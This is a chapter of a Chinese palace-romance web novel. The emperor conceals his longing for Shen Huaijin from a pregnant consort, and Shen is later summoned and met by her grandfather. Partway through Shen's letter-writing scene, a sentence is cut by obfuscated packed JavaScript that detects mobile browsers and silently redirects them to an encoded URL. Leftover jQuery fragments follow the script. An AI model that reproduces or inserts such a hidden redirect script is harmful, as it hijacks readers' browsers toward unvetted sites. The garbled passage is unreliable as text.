81. 暗弦轻拨

作品:《娘娘要上位

    就在她心潮翻涌、难以自抑之际,殿内萧景焕似乎终于被郑德那句“需要些时日”彻底耗尽了耐心,那刻意压低的嗓音陡然提高:“够了!朕不管什么时日不时日的。四日了,朕受够了。”


    椅子被推开的声音响起:“朕现在就要去看她,朕要亲口告诉她……朕想她了。”


    “陛下!”郑德慌忙追上,“陛下三思……”


    随着郑德急促的劝阻声,沉重的殿门“吱呀”一声被猛地从内推开。萧景焕裹着一身未散的烦躁,大步流星地跨了出来,险些与立在阶下的纪初珩撞个满怀。


    他倏地停住脚步目光落在纪初珩脸上,先是错愕,随即那错愕迅速被一层更深的阴鸷怒色覆盖。


    紧跟出来的郑德一看这情形,心里咯噔一下,再瞥见皇上那山雨欲来的脸色,立刻明了症结所在。


    他尖细的嗓音瞬间拔高,带着十足的严厉,劈头盖脸就朝殿外那几个噤若寒蝉的内侍训去:“你们这些没眼力见儿的奴才!纪贵人驾到,为何不通传?!一个个木头桩子似的戳在这儿,要你们何用!贵人如今是双身子的人,何等金贵?若是在外头站累了、吹着了,你们有几个脑袋担待?!”


    小太监们吓得扑通跪倒:“奴才该死!奴才该死!”


    萧景焕闻言,眼中那层因被窥破秘密而起的戾气稍稍一滞。他深深吸了一口气,再看向纪初珩时,脸上已迅速堆叠起惯常的、带着宠溺的笑容。


    “罢了,”他挥挥手,“爱妃怎么这个时辰过来了?可是身子有什么不适?”


    他的目光落在纪初珩的小腹上:“如今你是有身子的人,万事当心,切莫劳累。有什么事,遣人来知会一声便是,何须亲自跑来。”


    纪初珩压下心头翻涌的酸楚与冰冷,面上已然恢复了一贯的温顺柔婉。她盈盈一礼,声音轻柔:“谢陛下关怀,臣妾无妨。只是心中挂念陛下,想来请安。”


    她抬起眼,眸光清澈,仿佛真的只是随口一问:“陛下步履匆匆……可是要去撷芳殿看望沈答应?”


    萧景焕脸上的笑容几不可察地僵了一下,随即用更浓的宠溺语气掩饰过去,甚至还带着点嗔怪:“爱妃胡说什么呢。朕去看她做什么?”


    他像是为了增加说服力,又不甚在意地数落了两句:“沈氏性子倔强,不甚晓事,总爱惹些无谓气生。朕方才不过是批阅奏折烦了,想出去散散步,透透气罢了。倒是巧,一出来便遇上爱妃了。”


    “陛下有这份散心的雅致便好。倒是臣妾多嘴了。”她语气温软,目光投向暮色渐合的宫道,像是分享一个无关紧要的见闻,“说到散步,御花园景致正好。方才臣妾来时,正好瞧见沈答应也在园中。”


    她顿了顿,清晰地看到萧景焕的眼神微微一动。


    纪初珩每个字都像精心打磨过的玉珠,滚落表面平静的湖面:“她兴致极高,正拿着帕子比划着要采花回去插瓶,笑得可开心了。看来沈妹妹最近心情不错。”


    话音落下,晚风似乎都静了一瞬。


    萧景焕听到这,心里那簇本就被焦躁炙烤着的火苗,“噌”地一下,烧成了滔天怒意与……一丝难以言喻的刺痛。


    好兴致?笑得开心?


    他这几夜辗转反侧,龙榻之上仿佛生了荆棘,闭上眼就是那日她含泪却倔强不肯低头的模样,是她最后那句哽在喉头、未能出口的辩白。


    他以为她至少会难过,至少会有一丝后悔,至少……会在某个时刻,像他一样,期待着对方先放下身段。


    可她……竟过得如此惬意?赏花、笑闹,将那一场足以让他心神不宁的争执,轻易地抛诸脑后?


    那他算什么?这几日的煎熬,那些写了又撕的信,那些想了又放下的借口,都成了笑话。


    他,九五之尊,放下身段,百般筹谋,竟是为了去“哄”一个并不需要他、甚至可能正在享受这份“清净”的女人?


    然而,不过一个呼吸的起落,那翻腾的怒焰便被强行压入眼底最深处。萧景焕声音听不出半分异样:“是么?她倒是有闲情逸致。”


    旋即,他俯身凑近纪初珩,大掌轻轻覆在她的小腹上,语气亲昵:“朕昨夜朕梦见咱们的孩子了,是个粉雕玉琢的小公主,像爱妃一样美,看得朕心都要化了。”


    说着,他指尖温柔地拂过纪初珩鬓边的碎发:“走,朕陪爱妃回宫歇息。正好尚药局新进了几味上好的安胎药材,朕要去亲自瞧瞧方子。”


    他牵起她的手,一边继续温言问道:“爱妃最近胃口可好?有什么特别想吃的么?不拘什么,只要是这天下有的,朕让尚食局立刻给你做来。”


    纪初珩被他这一连串的温柔举动与话语包裹着,先前心头那点因窥探到他对沈怀瑾特殊关注而产生的酸涩,瞬间被这实实在在的宠爱冲刷得无影无踪。


    “臣妾谢陛下垂爱。有陛下这般记挂陪伴,臣妾便什么都好,心中更是欢喜极了。”


    御花园里那个“心情不错”的沈答应?此刻在她心中,已与那些即将在夜色中凋零的春花的命运无异。陛下此刻的温柔是属于她的,未来的皇嗣也是她的,这便够了。


    “傻话。”萧景焕刮了刮她的鼻子,“有了身孕更要仔细些。走吧。”


    *


    四月的风已褪去春寒,裹挟着几分初夏的慵懒暖意,拂动撷芳殿庭中新绿的枝叶。


    沈怀瑾独坐窗前,面前铺着一张素笺,笔尖悬停许久,墨汁凝成一个小小的圆点,晕染开来。


    今日是祖父的生辰。


    她默算着日子,恍然发觉自己入宫已近半年了。半年前的她被祖父护在氅下,天真地以为进宫就能光耀门楣。可如今呢?她被卷入一桩又一桩的风波,从被迫应对到主动担当。


    还有陛下……


    笔尖微微一颤,她将这个念头强压下去,专注于眼前的信笺。


    想说的太多了。想告诉祖父她一切安好,想告诉他孙女已不再是从前那


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17085246|187123||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    个遇事只会躲在他身后的小丫头。可千言万语堆在喉间,落到纸上却只化作几句平淡的问安。


    从前每逢祖父生辰,她总要亲手备一份寿礼,虽不值什么,祖父却每每宝贝似的收着。而今她困在这高墙之内,连一句亲口的祝寿都送不出去。


    泪珠无声滑落,晕开了纸上的字迹。


    “小主。”雪盏的声音在门口响起,带着几分小心翼翼,“陛下召您去兴庆宫。”


    沈怀瑾执笔的手一顿。


    来了。


    她飞快地用袖口拭去眼角的湿痕,将写了一半的信笺覆在桌上,起身整了整衣襟。铜镜中映出她的脸,眼尾还有些微红,她深吸一口气,用指腹轻轻按了按眼下,这才抬步往外走。


    出了撷芳殿,她的心像被一只无形的手轻轻攥着,悬在半空,既落不下,又飘不高。脚下的宫道似乎比往日更长,青石板一路延伸向前,安静得她能听见自己略显纷乱的呼吸。


    上次不欢而散的争吵,像一道尚未结痂的伤口,稍一触碰就泛起鲜明的刺痛。争吵过后独自躺在榻上,盯着帐顶的绣纹发呆时,她终于不得不承认一个事实——萧景焕对她而言,早已不再是单纯的”陛下”。


    他的特殊对待,他偶尔流露的孩子气,他看她时那种专注的目光,像细密的丝线,不知何时已将她缠绕其中。


    这个认知让她害怕。怕这份真情在深宫中脆弱得不堪一击,怕自己交付真心后面对的仍是天威难测。


    转过最后一道宫墙,兴庆宫的轮廓远远地映入眼帘。靠近兴庆宫的每一步,都像在靠近一个答案,也像在靠近一个更大的漩涡。


    此刻的召见是什么意思?是余怒未消?还是……别的什么?


    她下意识地抬手拂过袖口,那里方才还沾着泪痕。祖父的慈爱尚萦绕心头,转眼却要去面对这个让她心绪天翻地覆的人。一边是安稳的旧日港湾,一边是波涛汹涌却让她无法抽身的深海。


    两种情感剧烈地对冲着,让她步履都沉重了几分。


    殿门渐近,却不见郑德或任何熟悉的御前宫人身影,四下静得异样。沈怀瑾心头掠过一丝不安,仍定神抬手,缓缓推开门。


    门轴发出轻微的吱呀声,殿内光线昏沉,帘幕低垂,博山炉里的香烟袅袅升起,却不见人影。她站在门口,目光扫过空荡荡的御案、无人落座的圈椅,心里愈发没底。


    思绪纷乱间,她只能压下不安,朝着空无一人的御座方向,依礼深深下拜,声音在寂静的大殿里显得清晰而微颤:“臣妾给陛下请安。”


    声音落进空旷的殿中,无人应答。


    她维持着行礼的姿势,正想着要不要再唤一声,忽然听见屏风后传来脚步声,转出一个身形高大的身影。


    她愣住了。


    ——是祖父。


    她极快地眨了眨眼,以为晨光欺人,幻影幢幢。


    可那道身影还在,还是那样看着她,目光沉沉,像一座山。